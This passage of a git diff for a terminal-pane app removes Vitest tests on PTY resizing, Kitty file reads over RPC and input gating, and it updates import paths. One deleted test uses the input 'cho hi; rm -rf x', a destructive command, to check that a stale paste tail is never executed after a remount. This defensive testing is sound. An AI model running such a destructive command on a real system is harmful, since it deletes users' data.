-    await vi.advanceTimersByTimeAsync(1)
-    expect(drive.resizes()).toEqual(NUDGE)
-    drive.dispose()
-  })
-
-  it('does not take the size back from a viewer that claimed it mid-repaint', async () => {
-    const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-    const drive = await connectVisibleRemotePane({
-      availability: { kind: 'permanently-unavailable', reason: 'exceeds-client-replay-limit' },
-      snapshot: null
-    })
-    vi.useFakeTimers()
-    drive.reconnectWithoutImage()
-    for (let tick = 0; tick < 5 && drive.resizes().length === 0; tick += 1) {
-      await vi.advanceTimersByTimeAsync(10)
-      await flushAsyncTicks(20)
-    }
-    setFitOverride(REMOTE_PTY_ID, 'desktop-fit', 120, 39)
-    setFitOverride(REMOTE_PTY_ID, 'remote-desktop-fit', 100, 30)
-    await settle(5_000)
-
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-    drive.dispose()
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-  })
-
-  it('leaves a swapped-out PTY alone when its nudge is still pending', async () => {
-    const drive = await connectVisibleRemotePane({
-      availability: { kind: 'permanently-unavailable', reason: 'exceeds-client-replay-limit' },
-      snapshot: null
-    })
-    vi.useFakeTimers()
-    drive.reconnectWithoutImage()
-    for (let tick = 0; tick < 5 && drive.resizes().length === 0; tick += 1) {
-      await vi.advanceTimersByTimeAsync(10)
-      await flushAsyncTicks(20)
-    }
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-
-    drive.transport.getPtyId.mockReturnValue('remote:env-1@@terminal-agent-2')
-    await settle(5_000)
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-    drive.dispose()
-  })
-
-  it('puts the row back when the pane unmounts mid-repaint', async () => {
-    const drive = await connectVisibleRemotePane({
-      availability: { kind: 'permanently-unavailable', reason: 'exceeds-client-replay-limit' },
-      snapshot: null
-    })
-    vi.useFakeTimers()
-    drive.reconnectWithoutImage()
-    for (let tick = 0; tick < 5 && drive.resizes().length === 0; tick += 1) {
-      await vi.advanceTimersByTimeAsync(10)
-      await flushAsyncTicks(20)
-    }
-    expect(drive.resizes()).toEqual([NUDGE[0]])
-
-    drive.dispose()
-    expect(drive.resizes()).toEqual(NUDGE)
-    await settle(1_000)
-    expect(drive.resizes()).toEqual(NUDGE)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-project-runtime.ts b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-project-runtime.ts
index c35f4a6aba8..918e646e3b8 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-project-runtime.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-project-runtime.ts
@@ -1,4 +1,4 @@
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import {
   getCachedWindowsTerminalCapabilities,
   hasCachedWindowsTerminalCapabilities
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-transport-bootstrap.ts b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-transport-bootstrap.ts
index 3070baf14e1..d6013c0360d 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-transport-bootstrap.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pane-transport-bootstrap.ts
@@ -1,5 +1,5 @@
-import { useAppStore } from '@/store'
-import { ambiguousWorkspaceOwnerMessage } from '@/lib/duplicate-paired-servers'
+import { useAppStore } from '@/store/index'
+import { ambiguousWorkspaceOwnerMessage } from '@/lib/workspace/ownership/duplicate-paired-servers'
 import { createIpcPtyTransport } from '../../pty-transport/ipc/pty-transport'
 import { createRemoteRuntimePtyTransport } from '../../pty-transport/remote-runtime/remote-runtime-pty-transport'
 import { toAgentLaunchPreferences } from '../../../../../../shared/agent-launch/choices/agent-launch-preferences'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.test.ts
deleted file mode 100644
index 8e26a41bc03..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.test.ts
+++ /dev/null
@@ -1,190 +0,0 @@
-import { Terminal } from '@xterm/xterm'
-import { toRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { readTerminalKittyFile } from '@/lib/pane-manager/terminal-kitty-file-reader'
-import type { ConnectPanePtySession } from '../connect-pane-pty-session'
-import { installPtyKittyFileReader } from './pty-kitty-file-reader'
-const mocks = vi.hoisted(() => ({ rpc: vi.fn(), revision: vi.fn() }))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.rpc
-}))
-vi.mock('@/runtime/rpc/environment-revisions/runtime-environment-revision', () => ({
-  captureRuntimeEnvironmentRequestRevision: mocks.revision
-}))
-const cleanups: (() => void)[] = []
-function fixture(environmentId: string | null = null) {
-  const terminal = new Terminal()
-  let ptyId: string | null =
-    environmentId === null
-      ? 'pty-1'
-      : toRemoteRuntimePtyId('term_11111111-1111-4111-8111-111111111111', environmentId)
-  const bag = {
-    pane: { terminal, leafId: 'leaf-1' },
-    transport: { getPtyId: () => ptyId },
-    deps: {
-      worktreeId: 'folder-1',
-      tabId: environmentId === null ? 'tab-1' : 'web-terminal-tab-1'
-    },
-    cacheKey: environmentId === null ? 'tab-1:leaf-1' : 'web-terminal-tab-1:leaf-1',
-    runtimeEnvironmentId: environmentId,
-    disposed: false,
-    terminalOwnerUnresolved: false,
-    cleanupKittyFileReader: () => undefined
-  }
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: supplies every session member the reader accesses; no pane or manager operation is called.
-  const session = bag as unknown as ConnectPanePtySession
-  installPtyKittyFileReader(session)
-  cleanups.push(() => {
-    session.cleanupKittyFileReader()
-    terminal.dispose()
-  })
-  return {
-    session,
-    terminal,
-    setPtyId: (value: string | null) => {
-      ptyId = value
-    }
-  }
-}
-function resolved(ptyId = 'pty-1', incarnationId: string | null = 'incarnation-1') {
-  return {
-    terminal: {
-      ptyId,
-      ...(incarnationId ? { incarnationId } : {}),
-      handle: 'term_11111111-1111-4111-8111-111111111111'
-    }
-  }
-}
-function request() {
-  return {
-    path: '/execution-host/image.png',
-    offset: 10,
-    length: 12,
-    signal: new AbortController().signal
-  }
-}
-function deferred() {
-  let resolve: (value: unknown) => void = () => undefined
-  const promise = new Promise<unknown>((done) => {
-    resolve = done
-  })
-  return { promise, resolve }
-}
-beforeEach(() => {
-  mocks.rpc.mockReset()
-  mocks.revision.mockReset().mockReturnValue(7)
-})
-afterEach(() => cleanups.splice(0).forEach((cleanup) => cleanup()))
-describe('PTY Kitty file execution-host routing', () => {
-  it.each([null, 'ssh-host', 'wsl-environment'])(
-    'uses owning runtime %s and host-normalized pane keys for both RPCs',
-    async (environmentId) => {
-      const value = fixture(environmentId)
-      mocks.rpc.mockResolvedValueOnce(resolved()).mockResolvedValueOnce({ base64: 'AQID' })
-      await expect(readTerminalKittyFile(value.terminal, request())).resolves.toEqual(
-        new Uint8Array([1, 2, 3])
-      )
-      const target =
-        environmentId === null ? { kind: 'local' } : { kind: 'environment', environmentId }
-      expect(mocks.rpc).toHaveBeenNthCalledWith(
-        1,
-        target,
-        'terminal.resolvePane',
-        { paneKey: 'tab-1:leaf-1', worktreeId: 'folder-1' },
-        expect.objectContaining({ timeoutMs: 5000, suppressFeatureInteraction: true })
-      )
-      expect(mocks.rpc).toHaveBeenNthCalledWith(
-        2,
-        target,
-        'terminal.readKittyFile',
-        {
-          terminal: resolved().terminal.handle,
-          path: '/execution-host/image.png',
-          expectedIncarnationId: 'incarnation-1',
-          offset: 10,
-          length: 12
-        },
-        expect.objectContaining({ timeoutMs: 5000, suppressFeatureInteraction: true })
-      )
-    }
-  )
-  it('captures the pairing revision once before resolution and fences both RPCs with it', async () => {
-    const value = fixture('remote-host')
-    const pending = deferred()
-    mocks.rpc.mockReturnValueOnce(pending.promise).mockResolvedValueOnce({ base64: 'AQ==' })
-    const read = readTerminalKittyFile(value.terminal, request())
-    expect(mocks.revision).toHaveBeenCalledOnce()
-    expect(mocks.revision).toHaveBeenCalledWith('remote-host')
-    mocks.revision.mockReturnValue(8)
-    pending.resolve(resolved())
-    await read
-    expect(mocks.revision).toHaveBeenCalledOnce()
-    expect(mocks.rpc.mock.calls[0][3].expectedEnvironmentPairingRevision).toBe(7)
-    expect(mocks.rpc.mock.calls[1][3].expectedEnvironmentPairingRevision).toBe(7)
-    expect(mocks.rpc.mock.calls[1][3]).toBe(mocks.rpc.mock.calls[0][3])
-  })
-  it('refuses owner replacement during resolution', async () => {
-    const value = fixture('remote-host')
-    const pending = deferred()
-    mocks.rpc.mockReturnValueOnce(pending.promise)
-    const read = readTerminalKittyFile(value.terminal, request())
-    value.setPtyId('replacement-pty')
-    pending.resolve(resolved())
-    await expect(read).rejects.toThrow('binding changed')
-    expect(mocks.rpc).toHaveBeenCalledTimes(1)
-  })
-  it('refuses owner replacement during file read', async () => {
-    const value = fixture('remote-host')
-    const pending = deferred()
-    mocks.rpc.mockResolvedValueOnce(resolved()).mockReturnValueOnce(pending.promise)
-    const read = readTerminalKittyFile(value.terminal, request())
-    await vi.waitFor(() => expect(mocks.rpc).toHaveBeenCalledTimes(2))
-    value.setPtyId('replacement-pty')
-    pending.resolve({ base64: 'AQ==' })
-    await expect(read).rejects.toThrow('binding changed')
-  })
-  it.each(['resolve', 'read'])('aborts pending %s on disposal', async (stage) => {
-    const value = fixture('remote-host')
-    const pending = deferred()
-    if (stage === 'read') {
-      mocks.rpc.mockResolvedValueOnce(resolved())
-    }
-    mocks.rpc.mockReturnValueOnce(pending.promise)
-    const read = readTerminalKittyFile(value.terminal, request())
-    const rejected = expect(read).rejects.toMatchObject({ name: 'AbortError' })
-    if (stage === 'read') {
-      await vi.waitFor(() => expect(mocks.rpc).toHaveBeenCalledTimes(2))
-    }
-    value.session.cleanupKittyFileReader()
-    await rejected
-    pending.resolve(stage === 'read' ? { base64: 'AQ==' } : resolved())
-    await expect(readTerminalKittyFile(value.terminal, request())).rejects.toThrow('unavailable')
-  })
-  it('passes cancellation to active host request', async () => {
-    const value = fixture('remote-host')
-    const pending = deferred()
-    const controller = new AbortController()
-    mocks.rpc.mockResolvedValueOnce(resolved()).mockReturnValueOnce(pending.promise)
-    const read = readTerminalKittyFile(value.terminal, { ...request(), signal: controller.signal })
-    const rejected = expect(read).rejects.toMatchObject({ name: 'AbortError' })
-    await vi.waitFor(() => expect(mocks.rpc).toHaveBeenCalledTimes(2))
-    controller.abort()
-    await rejected
-    expect(mocks.rpc.mock.calls[1][3].signal.aborted).toBe(true)
-    pending.resolve({ base64: 'AQ==' })
-  })
-  it('rejects decoded bytes above 2 MiB at encoded boundary', async () => {
-    const value = fixture('remote-host')
-    mocks.rpc
-      .mockResolvedValueOnce(resolved())
-      .mockResolvedValueOnce({ base64: Buffer.alloc(2 * 1024 * 1024 + 1).toString('base64') })
-    const outcome = await readTerminalKittyFile(value.terminal, request()).then(
-      (bytes) => ({ status: 'resolved', size: bytes.byteLength }),
-      (error: unknown) => ({
-        status: 'rejected',
-        message: error instanceof Error ? error.message : String(error)
-      })
-    )
-    expect(outcome).toMatchObject({ status: 'rejected', message: expect.stringContaining('limit') })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.ts b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.ts
index a779ba7812a..1159ff653c5 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/host-ownership/pty-kitty-file-reader.ts
@@ -1,6 +1,6 @@
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { captureRuntimeEnvironmentRequestRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import { bindTerminalKittyFileReader } from '@/lib/pane-manager/terminal-kitty-file-reader'
+import { bindTerminalKittyFileReader } from '@/lib/pane-manager/terminal-rendering/terminal-kitty-file-reader'
 import { decodeBase64Bytes } from '@/lib/base64-bytes'
 import { waitForPromiseWithSignal } from '../../../../../../shared/abort-signal-reason'
 import {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-terminal-input-gating.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-terminal-input-gating.spec.ts
deleted file mode 100644
index 95561fbced7..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-terminal-input-gating.spec.ts
+++ /dev/null
@@ -1,526 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { makePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id'
-import { flushAsyncTicks } from '../test-fixtures/pty-connection-test-async'
-import {
-  createKeyboardEventTarget,
-  keyEvent,
-  sendTerminalInputThroughPane
-} from '../test-fixtures/pty-connection-test-dom'
-import {
-  LEAF_1,
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-const REMOUNTED = { remounted: true as const, generation: 1 }
-const AUTOMATIC_REQUEST = expect.objectContaining({ trigger: 'automatic' })
-
-export function registerPtyConnectionTerminalInputGatingTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    it('keeps a dismissed split pane typing while a sibling still holds the prompt', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks6 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      const transport = createMockTransport('pty-dismissed')
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        // tab.ptyId may name a sibling; its unanswered notice must not block this pane without its own prompt.
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'pty-sibling' }] },
-        ptyIdsByTabId: { 'tab-1': ['pty-dismissed', 'pty-sibling'] },
-        codexRestartNoticeByPtyId: {
-          'pty-dismissed': { previousAccountLabel: 'A', nextAccountLabel: 'B', dismissed: true },
-          'pty-sibling': { previousAccountLabel: 'A', nextAccountLabel: 'C' }
-        }
-      }
-
-      const pane = createPane(1)
-      let onDataHandler: ((data: string) => void) | null = null
-      pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-        onDataHandler = handler
-        return { dispose: vi.fn() }
-      }) as typeof pane.terminal.onData)
-      const manager = createManager(1)
-      const deps = createDeps({
-        // Bind the sibling first so this pane is a split instead of adopting the tab PTY.
-        paneTransportsRef: { current: new Map([[2, createMockTransport('pty-sibling')]]) }
-      })
-
-      connectPanePty(
-        pane as never,
-        manager as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks6)
-      )
-
-      expect(onDataHandler).toBeDefined()
-      if (!onDataHandler) {
-        throw new Error('expected onData handler to be registered')
-      }
-      ;(onDataHandler as (data: string) => void)('a')
-
-      expect((transport.getPtyId as unknown as () => string | null)()).toBe('pty-dismissed')
-      expect(transport.sendInput).toHaveBeenCalledWith('a', 'query-reply')
-    })
-
-    it('keeps blocking a pane with its own unanswered notice next to a dismissed sibling', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks7 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      const transport = createMockTransport('pty-stale')
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'pty-sibling' }] },
-        ptyIdsByTabId: { 'tab-1': ['pty-stale', 'pty-sibling'] },
-        codexRestartNoticeByPtyId: {
-          'pty-stale': { previousAccountLabel: 'A', nextAccountLabel: 'B' },
-          'pty-sibling': { previousAccountLabel: 'A', nextAccountLabel: 'B', dismissed: true }
-        }
-      }
-
-      const pane = createPane(1)
-      let onDataHandler: ((data: string) => void) | null = null
-      pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-        onDataHandler = handler
-        return { dispose: vi.fn() }
-      }) as typeof pane.terminal.onData)
-      const manager = createManager(1)
-      const deps = createDeps({
-        paneTransportsRef: { current: new Map([[2, createMockTransport('pty-sibling')]]) }
-      })
-
-      connectPanePty(
-        pane as never,
-        manager as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks7)
-      )
-
-      expect(onDataHandler).toBeDefined()
-      if (!onDataHandler) {
-        throw new Error('expected onData handler to be registered')
-      }
-      ;(onDataHandler as (data: string) => void)('a')
-
-      expect((transport.getPtyId as unknown as () => string | null)()).toBe('pty-stale')
-      expect(transport.sendInput).not.toHaveBeenCalled()
-    })
-
-    it('keeps a bound pane with no notice typing while a sibling holds a queued restart', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks8 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      const transport = createMockTransport('pty-plain-shell')
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        // Restart hides the prompt; a recordless pane must not stay blocked by a sibling’s tab-level notice.
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'pty-sibling' }] },
-        ptyIdsByTabId: { 'tab-1': ['pty-plain-shell', 'pty-sibling'] },
-        codexRestartNoticeByPtyId: {
-          'pty-sibling': {
-            previousAccountLabel: 'A',
-            nextAccountLabel: 'B',
-            restartRequested: true
-          }
-        }
-      }
-
-      const pane = createPane(1)
-      let onDataHandler: ((data: string) => void) | null = null
-      pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-        onDataHandler = handler
-        return { dispose: vi.fn() }
-      }) as typeof pane.terminal.onData)
-      const manager = createManager(1)
-      const deps = createDeps({
-        paneTransportsRef: { current: new Map([[2, createMockTransport('pty-sibling')]]) }
-      })
-
-      connectPanePty(
-        pane as never,
-        manager as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks8)
-      )
-
-      expect(onDataHandler).toBeDefined()
-      if (!onDataHandler) {
-        throw new Error('expected onData handler to be registered')
-      }
-      ;(onDataHandler as (data: string) => void)('a')
-
-      expect((transport.getPtyId as unknown as () => string | null)()).toBe('pty-plain-shell')
-      expect(transport.sendInput).toHaveBeenCalledWith('a', 'query-reply')
-    })
-
-    it('blocks terminal writes while mobile presence lock owns the PTY', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks11 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { setDriverForPty } = await import('@/lib/pane-manager/mobile-driver-state')
-
-      vi.useFakeTimers()
-      vi.setSystemTime(1_100)
-      const ptyId = 'pty-mobile-locked'
-      setDriverForPty(ptyId, { kind: 'mobile', clientId: 'phone-1' })
-      try {
-        const transport = createMockTransport(ptyId)
-        transportFactoryQueue.push(transport)
-        const paneKey = makePaneKey('tab-1', LEAF_1)
-        mockStoreState = {
-          ...mockStoreState,
-          tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId }] },
-          ptyIdsByTabId: { 'tab-1': [ptyId] },
-          agentStatusByPaneKey: {
-            [paneKey]: {
-              paneKey,
-              state: 'working',
-              prompt: 'locked input',
-              updatedAt: 1_000,
-              stateStartedAt: 900,
-              agentType: 'codex',
-              stateHistory: []
-            }
-          }
-        }
-
-        const pane = createPane(1)
-        const terminalTarget = createKeyboardEventTarget()
-        ;(pane.terminal as { element?: unknown }).element = terminalTarget.target
-        let onDataHandler: ((data: string) => void) | null = null
-        pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-          onDataHandler = handler
-          return { dispose: vi.fn() }
-        }) as typeof pane.terminal.onData)
-
-        connectPanePty(
-          pane as never,
-          createManager(1) as never,
-          bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks11)
-        )
-
-        if (!onDataHandler) {
-          throw new Error('expected onData handler to be registered')
-        }
-        terminalTarget.dispatch(keyEvent({ key: 'c', ctrlKey: true }))
-        ;(onDataHandler as unknown as (data: string) => void)('\x03')
-        ;(onDataHandler as unknown as (data: string) => void)('x')
-        vi.advanceTimersByTime(500)
-
-        expect(window.api.runtime.restoreTerminalFit).not.toHaveBeenCalled()
-        expect(transport.sendInput).not.toHaveBeenCalled()
-        expect(window.api.agentStatus.inferInterrupt).not.toHaveBeenCalled()
-      } finally {
-        setDriverForPty(ptyId, { kind: 'idle' })
-      }
-    })
-
-    it('drops xterm protocol replies from live TUI output while mobile presence lock is active', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks12 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { setDriverForPty } = await import('@/lib/pane-manager/mobile-driver-state')
-
-      const ptyId = 'pty-mobile-tui-query'
-      setDriverForPty(ptyId, { kind: 'mobile', clientId: 'phone-1' })
-      try {
-        const transport = createMockTransport(ptyId)
-        transportFactoryQueue.push(transport)
-        mockStoreState = {
-          ...mockStoreState,
-          tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId }] },
-          ptyIdsByTabId: { 'tab-1': [ptyId] }
-        }
-
-        const pane = createPane(1)
-        let onDataHandler: ((data: string) => void) | null = null
-        pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-          onDataHandler = handler
-          return { dispose: vi.fn() }
-        }) as typeof pane.terminal.onData)
-
-        connectPanePty(
-          pane as never,
-          createManager(1) as never,
-          bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks12)
-        )
-
-        if (!onDataHandler) {
-          throw new Error('expected onData handler to be registered')
-        }
-        // Simulate xterm answering a TUI's DA1 query while the phone owns the PTY.
-        ;(onDataHandler as unknown as (data: string) => void)('\x1b[?1;2c')
-        // Capability handlers are registered outside onData and must honor the same mobile query-authority lock.
-        const csiCalls = (
-          pane.terminal.parser.registerCsiHandler as unknown as {
-            mock: { calls: [{ final: string }, (params: (number | number[])[]) => boolean][] }
-          }
-        ).mock.calls
-        const da1Handler = csiCalls.find(([id]) => id.final === 'c')?.[1]
-        expect(da1Handler).toBeTypeOf('function')
-        da1Handler?.([])
-        await flushAsyncTicks()
-
-        expect(window.api.runtime.restoreTerminalFit).not.toHaveBeenCalled()
-        expect(transport.sendInput).not.toHaveBeenCalled()
-        expect(transport.sendInputImmediate).not.toHaveBeenCalled()
-      } finally {
-        setDriverForPty(ptyId, { kind: 'idle' })
-      }
-    })
-
-    it('does not infer interrupts when the main process rejects acknowledged input', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks15 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      vi.useFakeTimers()
-      vi.setSystemTime(1_100)
-      const transport = createMockTransport('pty-mobile-race')
-      transport.sendInputAccepted = vi.fn().mockResolvedValue(false)
-      transportFactoryQueue.push(transport)
-      const paneKey = makePaneKey('tab-1', LEAF_1)
-      mockStoreState.agentStatusByPaneKey[paneKey] = {
-        paneKey,
-        state: 'working',
-        prompt: 'mobile race input',
-        updatedAt: 1_000,
-        stateStartedAt: 900,
-        agentType: 'custom-agent',
-        stateHistory: []
-      }
-
-      const pane = createPane(1)
-      const terminalTarget = createKeyboardEventTarget()
-      ;(pane.terminal as { element?: unknown }).element = terminalTarget.target
-      let onDataHandler: ((data: string) => void) | null = null
-      pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-        onDataHandler = handler
-        return { dispose: vi.fn() }
-      }) as typeof pane.terminal.onData)
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks15)
-      )
-
-      if (!onDataHandler) {
-        throw new Error('expected onData handler to be registered')
-      }
-      terminalTarget.dispatch(keyEvent({ key: 'c', ctrlKey: true }))
-      ;(onDataHandler as unknown as (data: string) => void)('\x03')
-      await flushAsyncTicks()
-      await vi.advanceTimersByTimeAsync(500)
-      await flushAsyncTicks()
-
-      expect(transport.sendInputAccepted).toHaveBeenCalledWith('\x03', 'query-reply')
-      expect(transport.sendInput).not.toHaveBeenCalled()
-      expect(window.api.agentStatus.inferInterrupt).not.toHaveBeenCalled()
-    })
-
-    it('quarantines the interrupted line after a write-unavailable remount, but never device replies', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks17 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { _resetTerminalPaneRecoveryForTests } =
-        await import('../../render-health/recovery/terminal-pane-recovery')
-      _resetTerminalPaneRecoveryForTests()
-      const remountTerminalTabForRecovery = vi.fn(() => REMOUNTED)
-      mockStoreState = { ...mockStoreState, remountTerminalTabForRecovery } as StoreState
-      const transport = createMockTransport('daemon-pty')
-      let writeUnavailable: (() => void) | undefined
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          writeUnavailable = callbacks.onWriteUnavailable
-          return { id: 'daemon-pty' }
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-
-      connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks17)
-      )
-      await flushAsyncTicks(6)
-      writeUnavailable?.()
-      await flushAsyncTicks(6)
-      expect(remountTerminalTabForRecovery).toHaveBeenCalledWith('tab-1', AUTOMATIC_REQUEST)
-
-      // A stale paste tail could let the next Enter execute its destructive suffix in the fresh shell (#10065).
-      sendTerminalInputThroughPane(pane, 'cho hi; rm -rf x')
-      expect(transport.sendInput.mock.calls.map(([data]) => data)).not.toContain('cho hi; rm -rf x')
-      // A program that queries during reattach hangs if its reply is dropped.
-      sendTerminalInputThroughPane(pane, '\x1b[3;1R')
-      expect(transport.sendInputImmediate).toHaveBeenCalledWith('\x1b[3;1R')
-      sendTerminalInputThroughPane(pane, '\r')
-      expect(transport.sendInput.mock.calls.map(([data]) => data)).not.toContain('\r')
-      sendTerminalInputThroughPane(pane, 'ls\r')
-      expect(transport.sendInput).toHaveBeenCalledWith('ls\r', 'query-reply')
-      _resetTerminalPaneRecoveryForTests()
-    })
-
-    it('recovers a wedged write pipeline after accepted input without renderer output', async () => {
-      vi.useFakeTimers()
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks18 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { settleTerminalWriteStallWatch, WRITE_PIPELINE_STALL_CHECK_MS } =
-        await import('@/lib/pane-manager/terminal-write-pipeline-health')
-      const remountTerminalTabForRecovery = vi.fn(() => REMOUNTED)
-      mockStoreState = { ...mockStoreState, remountTerminalTabForRecovery } as StoreState
-      const transport = createMockTransport('pty-wedged')
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const binding = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks18)
-      )
-      await flushAsyncTicks()
-      pane.terminal.write.mockClear()
-      pane.terminal.write.mockImplementation(() => {})
-
-      sendTerminalInputThroughPane(pane, 'x')
-      settleTerminalWriteStallWatch(pane.terminal)
-      vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS * 2)
-      await flushAsyncTicks()
-
-      expect(transport.sendInput).toHaveBeenCalledWith('x', 'query-reply')
-      expect(pane.terminal.write).toHaveBeenCalledWith(new Uint8Array(0), expect.any(Function))
-      expect(remountTerminalTabForRecovery).toHaveBeenCalledWith('tab-1', AUTOMATIC_REQUEST)
-      binding.dispose()
-    })
-
-    it('does not arm the wedge probe when acknowledged input is rejected', async () => {
-      vi.useFakeTimers()
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks19 = await vi.importMock<PtyConnectionAgentTitleMocks>(
